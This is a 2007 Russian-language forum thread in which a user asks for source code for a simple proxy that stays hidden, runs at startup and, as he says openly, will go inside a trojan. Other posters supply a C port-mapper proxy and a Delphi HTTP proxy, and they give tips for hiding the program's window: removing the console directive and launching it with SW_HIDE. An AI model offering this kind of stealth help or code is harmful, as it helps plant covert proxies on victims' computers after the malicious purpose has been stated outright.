PDA

Просмотр полной версии : Дайте исходники простейшего прокси (Delphi)


Sharky
20.04.2007, 13:08
Дайте исходники простейшего прокси который при запуске был незаметным для пользователя а так же прописывался в авторан

iv.
20.04.2007, 13:14
пример каскадирующего проски, он же port mapper

как ты представляешь себе незаметность? порт всё равно открывается в любом случае..

#include <windows.h>


// НАСТРОЙКА ПАРАМЕТРОВ
#define IN_PORT 1111
#define OUT_IP "192.168.0.89"
#define OUT_PORT 80
#define MAX_DATA 100
#define MAXCONN 1000
#define IDE_MSG 110
#define WM_ASYNC_CLIENTEVENT WM_USER+1
#define WM_ASYNC_PROXYEVENT WM_USER+10

LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam);
void ConnectToProxy(SOCKET);


SOCKET hListenSockTCP = INVALID_SOCKET;
SOCKADDR_IN myaddrTCP,proxyaddrTCP;
char buf[MAX_DATA];
SOCKET sockets[MAXCONN];
HWND hwndMain;

int WINAPI WinMain(HINSTANCE hInst,HINSTANCE hPrevInst,LPSTR szCmdLine,int nCmdShow)
{
WSADATA stWSADataTCPIP;
if(WSAStartup(0x0101, &stWSADataTCPIP)) MessageBox(0,"WSAStartup error !","NET ERROR!!!",0);

ZeroMemory(sockets,sizeof(sockets));

WNDCLASS wc;
memset(&wc,0,sizeof(WNDCLASS));
wc.style = CS_HREDRAW|CS_VREDRAW |CS_DBLCLKS ;
wc.lpfnWndProc = (WNDPROC)MainWndProc;
wc.hInstance = hInst;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszClassName = "CProxy";
wc.lpszMenuName = NULL;
wc.hCursor = LoadCursor(NULL,IDC_ARROW);
wc.hIcon = LoadIcon(NULL,IDI_APPLICATION);
if (!RegisterClass(&wc)) return 0;

hwndMain=CreateWindow("CProxy","ProxyExample", WS_MINIMIZEBOX|WS_CLIPSIBLINGS|WS_CLIPCHILDREN|WS_ MAXIMIZEBOX|WS_CAPTION|WS_BORDER|WS_SYSMENU|WS_THI CKFRAME, CW_USEDEFAULT,0,CW_USEDEFAULT,0, NULL, NULL, hInst, NULL);
ShowWindow(hwndMain,SW_SHOW);


hListenSockTCP = socket (AF_INET,SOCK_STREAM,0);
myaddrTCP.sin_family = AF_INET;
myaddrTCP.sin_addr.s_addr = htonl (INADDR_ANY);
myaddrTCP.sin_port = htons (IN_PORT);
if(bind(hListenSockTCP,(LPSOCKADDR)&myaddrTCP, sizeof(struct sockaddr))) { MessageBox(hwndMain,"This port in use!","BIND TCP ERROR!!!",0);}
if (listen (hListenSockTCP, 5)) MessageBox(hwndMain,"listen error!","ERROR!!!",0);
WSAAsyncSelect (hListenSockTCP,hwndMain,WM_ASYNC_CLIENTEVENT,FD_A CCEPT|FD_READ|FD_CLOSE);


MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;

return 0;
}



LRESULT CALLBACK MainWndProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam)
{
WORD WSAEvent;
int i;
DWORD currentsock;

switch (msg)
{

case WM_COMMAND:
break;

case WM_DESTROY:
PostQuitMessage(0); // 10xu4yourtime
break;


case WM_ASYNC_CLIENTEVENT: // Сообщения про события сокетов, подключенных к клиенту...
currentsock = wParam;
WSAEvent = WSAGETSELECTEVENT (lParam);
switch (WSAEvent)
{
case FD_CLOSE :
shutdown(sockets[currentsock],1);
closesocket(currentsock);
return 0;

case FD_READ:
// ПЕРЕНАПРАВЛЕНИЕ ДАННЫХ (redirect). Берем от клиента, посылаем на сервер.
i=recv(currentsock, buf, MAX_DATA, 0);
send(sockets[currentsock], buf, i, 0); // и отправляем...
return 0;

case FD_ACCEPT:
ConnectToProxy(accept(hListenSockTCP,NULL,NULL));
return 0;
}
break;

case WM_ASYNC_PROXYEVENT:
// Найдем соответствующий дескриптор.
for (i=0;i<MAXCONN;i++)
if (sockets[i] == wParam) { currentsock=i; break; }
WSAEvent = WSAGETSELECTEVENT (lParam);
switch (WSAEvent)
{
// Произошло подключение к удаленному хосту
case FD_CONNECT :
i=WSAGETSELECTERROR(lParam);
if (i!=0)
{
shutdown(currentsock,1);
closesocket(sockets[currentsock]);
sockets[currentsock]=INVALID_SOCKET;
}
return 0;


// Сервер нас отрубает ...
case FD_CLOSE :
shutdown(currentsock,1);
closesocket(sockets[currentsock]); sockets[currentsock]=INVALID_SOCKET;
return 0;

// Перенаправление данных клиенту
case FD_READ:
i=recv(sockets[currentsock], buf, MAX_DATA, 0);
send(currentsock,buf, i, 0);
return 0;
}
break;
}
return DefWindowProc(hwnd,msg,wParam,lParam);
}







// Connect to PROXY Connect to PROXY Connect to PROXY Connect to PROXY Connect to PROXY Connect to PROXY

void ConnectToProxy(SOCKET nofsock)
{
SOCKADDR_IN rmaddr;
rmaddr.sin_family = AF_INET;
rmaddr.sin_addr.s_addr = inet_addr(OUT_IP);
rmaddr.sin_port = htons (OUT_PORT);

sockets[nofsock] = socket (AF_INET,SOCK_STREAM,0); if(INVALID_SOCKET == sockets[nofsock]) MessageBox(0,"INVALID_SOCKET","ERROR!!!",0);

WSAAsyncSelect (sockets[nofsock],hwndMain,WM_ASYNC_PROXYEVENT, FD_CONNECT|FD_READ|FD_CLOSE);

connect (sockets[nofsock], (struct sockaddr *)&rmaddr,sizeof(rmaddr));

return; // Connect OK
}
(с)http://www.sources.ru/cpp/cpp_simple_proxy.shtml

Sharky
20.04.2007, 13:26
в том смысле что внешне пользователь не увидел никаких окон

Sharky
20.04.2007, 13:27
А есть что нить на дельфи или вб?

iv.
20.04.2007, 13:32
в том смысле что внешне пользователь не увидел никаких окон
в этом примере их и нет.
А есть что нить на дельфи или вб?
не поленись поискать сам =\
в общем-то принцип один и тот же во всех языках.

Sharky
20.04.2007, 13:40
я в кодинге неособо силён..могу тока малость покрректировать код и всё...так что можете выложить готовый вариант?
И ещё я заметил параметр #define OUT_IP "192.168.0.89" ...мне он вобще не нужен поскольку прокси нужно чтоб засунуть его в код трояна

iv.
20.04.2007, 13:43
так что можете выложить готовый вариант?
я выложил не готовый?
И ещё я заметил параметр #define OUT_IP "192.168.0.89" ...мне он вобще не нужен
а ты вообще в курсе зачем используется эта директива? =) ну, убери её, добавь переменную..
поскольку прокси нужно чтоб засунуть его в код трояна
если "в кодинге не особо силен" писать трояна смысла нет.

Sharky
20.04.2007, 13:46
а помоему смысл есть...я так учусь

iv.
20.04.2007, 13:48
а помоему смысл есть...я так учусь
если писать трояна путем копипаста кода, то ты ничему не научишься.

Sharky
20.04.2007, 13:50
я пытаюсь разобраться в коде по ходу дела...
ну так как насчёт исходника на вб или дельфи?

Sharky
20.04.2007, 14:16
так код прокси самого я нашёл...но там сам лог отображается как бы в cmd...дайте кусок кода чтоб сделать приложение невидиимым в дельфи

iv.
20.04.2007, 14:21
дайте кусок кода чтоб сделать приложение невидиимым в дельфи
тут скорее нужно удалить из твоего кода что-то, а не добавлять

Sharky
20.04.2007, 14:29
program dproxy;

{$APPTYPE CONSOLE}

uses
windows,
WinSock,
StrUtils,
SysUtils,
uutil in 'uutil.pas';

const
pcount = 32;

var
wsaData : TWSADATA;
mainsock : TSocket;
client : TSOCKADDR;
csock : TSocket;
addr : SOCKADDR_IN;
Size : integer;
bol : boolean;
i : integer;

a_exit : array of boolean;
a_sock : array of TClientEx;
a_hndl : array of THandle;

function SocksHandlerTreadProc(pParam:pointer):DWORD; stdcall;
var
s1 : TSocket;
j : integer;
i : integer;
loop : integer;
bol : boolean;
buf_1: AnsiString;
buf : AnsiString;
buf_len : integer;
p : integer;
p2 : integer;
p3 : integer;
z_s : string;
recv_result : integer;
DataType : TDataType;
Host_str : string;
Host_host : string;
Host_port : string;
zapros_str : string;
url : string;
remHost : u_long;
RemPort : u_short;
sa : TSockaddrin;
lpMsgBuf : array[0..255] of Char;

name : TSockaddr;
begin
j := integer(pParam);
WHILE TRUE DO
BEGIN
while a_sock[j].Socket=0 do sleep(40);
i := sizeof(name);
getpeername(a_sock[j].Socket, name, i);
a_sock[j].client := LongToIp(name.sin_addr.S_addr);
z_s := #13#10;
loop := 0;
bol := True;
buf_1 := '';
buf := '';
buf_len := 1024;
DataType := dtGET;
while loop=0 do
begin
inc(loop);
while bol do
begin
setlength(buf_1,buf_len);
recv_result := recv(a_sock[j].Socket,buf_1[1],buf_len,0);
if recv_result>0 then setlength(buf_1,recv_result)
else break;
buf := buf + buf_1;
p := pos(z_s+z_s,buf);
if p<>0 then
begin
bol := False;
break;
end;
end;
if bol then break;
buf_1 := lowercase(copy(buf,1,4));
if buf_1<>'get ' then
if buf_1='post' then DataType := dtPOST
else if buf_1='head' then DataType := dtHEAD
else break;

p := pos(z_s,buf);
zapros_str := copy(buf,1,p-1);
delete(buf,1,p+1);

p := posex(#32,zapros_str);
p3 := p;
p2 := posex(#32,zapros_str,p+1);
url := copy(zapros_str,p+1,p2-p-1);
delete(zapros_str,p,p2-p+1);
delete(url,1,7);
p := pos('/',url);
host_str := copy(url,1,p-1);
delete(url,1,p-1);
p := pos(':',host_str);
if p=0 then
begin
host_port := '80';
host_host := host_str;
end
else
begin
host_host := copy(host_str,1,p-1);
host_port := copy(host_str,p+1,length(host_str));
end;
insert(#32+url+#32,zapros_str,p3);
buf := zapros_str + z_s + buf;
remHost := HostToLong(host_host);
RemPort := strtoint(host_port);
writeln(a_sock[j].client + ' ' + zapros_str);
s1 := socket(AF_INET, SOCK_STREAM,0);
FillChar(sa,sizeof(sa),0);
sa.sin_addr.S_addr := remHost;
sa.sin_family := af_inet;
sa.sin_port := htons(80);
if connect(s1,sa,sizeof(sa))<>SOCKET_ERROR then
begin
send(s1,buf[1],length(buf),0);
bol := True;
while bol do
begin
setlength(buf_1,buf_len);
recv_result := recv(s1,buf_1[1],buf_len,0);
if recv_result>0 then
begin
setlength(buf_1,recv_result);
send(a_sock[j].Socket,buf_1[1],length(buf_1),0);
end
else break;
end;
end;
shutdown(s1, SD_BOTH);
closesocket(s1);
end;

shutdown(a_sock[j].Socket, SD_BOTH);
closesocket(a_sock[j].Socket);
a_sock[j].Socket := 0;
END;
result := 0;
end;

begin
WSAStartup(MAKEWORD(2,0), wsaData);
mainsock := socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
addr.sin_family := AF_INET;
addr.sin_port := htons(8080);
addr.sin_addr.s_addr := INADDR_ANY;
Size := SizeOf(Client);
if (Bind(mainsock,addr,SizeOf(addr))=0) and (Listen(mainsock,$FF)=0) then
begin
setlength(a_exit,pcount);
setlength(a_sock,pcount);
setlength(a_hndl,pcount);
for i:=0 to pcount-1 do
begin
a_exit[i] := False;
a_sock[i].Socket := 0;
fillchar(a_sock[i].Client,buf1len,0);
CreateThread(nil,0,@SocksHandlerTreadProc,pointer( i),0,a_hndl[i]);
end;
while true do
begin
csock := accept(mainsock, @Client, @Size);
bol := True;
for i:=0 to pcount-1 do
if a_sock[i].Socket=0 then
begin
bol := False;
a_sock[i].Socket := csock;
// move(inet_ntoa(Client.sin_addr),a_sock[i].Client,buf1len);
break;
end;
if bol then
begin
shutdown(csock, SD_BOTH);
closesocket(csock);
end;
end;
end;
readln;
end.

iv.
20.04.2007, 14:32
я в делфи в общем-то не силен, могу только порекомендовать удалить всякие writeln и прочие функции вывода в консоль. но видимо тогда будет висеть просто пустая консоль..

da_ff
20.04.2007, 19:25
запускай процесс другой программой winexec(Pchar('proxy.exe'),sw_hide);

hidden
25.04.2007, 10:32
Удали это {$APPTYPE CONSOLE}

А если избавишься от SysUtils, сэкономишь около 100 Кб ;)